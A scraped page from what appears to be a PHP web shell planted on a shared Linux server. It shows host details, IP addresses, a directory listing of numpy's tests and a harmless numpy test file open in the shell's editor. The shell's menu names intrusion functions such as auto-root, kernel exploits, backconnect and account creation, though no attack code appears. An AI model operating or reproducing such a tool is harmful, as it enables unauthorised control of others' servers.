Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.171
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
numpy /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
test__datasource.py
10.24
KB
-rw-r--r--
test__iotools.py
13.42
KB
-rw-r--r--
test__version.py
1.95
KB
-rw-r--r--
test_arraypad.py
53.01
KB
-rw-r--r--
test_arraysetops.py
27.76
KB
-rw-r--r--
test_arrayterator.py
1.26
KB
-rw-r--r--
test_financial_expired.py
358
B
-rw-r--r--
test_format.py
37.34
KB
-rw-r--r--
test_function_base.py
132.69
KB
-rw-r--r--
test_histograms.py
32.88
KB
-rw-r--r--
test_index_tricks.py
18.53
KB
-rw-r--r--
test_io.py
100.53
KB
-rw-r--r--
test_mixins.py
6.87
KB
-rw-r--r--
test_nanfunctions.py
37.68
KB
-rw-r--r--
test_packbits.py
17.13
KB
-rw-r--r--
test_polynomial.py
10.46
KB
-rw-r--r--
test_recfunctions.py
40.19
KB
-rw-r--r--
test_regression.py
8.08
KB
-rw-r--r--
test_shape_base.py
23.73
KB
-rw-r--r--
test_stride_tricks.py
22.31
KB
-rw-r--r--
test_twodim_base.py
17.93
KB
-rw-r--r--
test_type_check.py
14.76
KB
-rw-r--r--
test_ufunclike.py
3.2
KB
-rw-r--r--
test_utils.py
4.45
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_arrayterator.py
from operator import mul from functools import reduce import numpy as np from numpy.random import randint from numpy.lib import Arrayterator from numpy.testing import assert_ def test(): np.random.seed(np.arange(10)) # Create a random array ndims = randint(5)+1 shape = tuple(randint(10)+1 for dim in range(ndims)) els = reduce(mul, shape) a = np.arange(els) a.shape = shape buf_size = randint(2*els) b = Arrayterator(a, buf_size) # Check that each block has at most ``buf_size`` elements for block in b: assert_(len(block.flat) <= (buf_size or els)) # Check that all elements are iterated correctly assert_(list(b.flat) == list(a.flat)) # Slice arrayterator start = [randint(dim) for dim in shape] stop = [randint(dim)+1 for dim in shape] step = [randint(dim)+1 for dim in shape] slice_ = tuple(slice(*t) for t in zip(start, stop, step)) c = b[slice_] d = a[slice_] # Check that each block has at most ``buf_size`` elements for block in c: assert_(len(block.flat) <= (buf_size or els)) # Check that the arrayterator is sliced correctly assert_(np.all(c.__array__() == d)) # Check that all elements are iterated correctly assert_(list(c.flat) == list(d.flat))
Close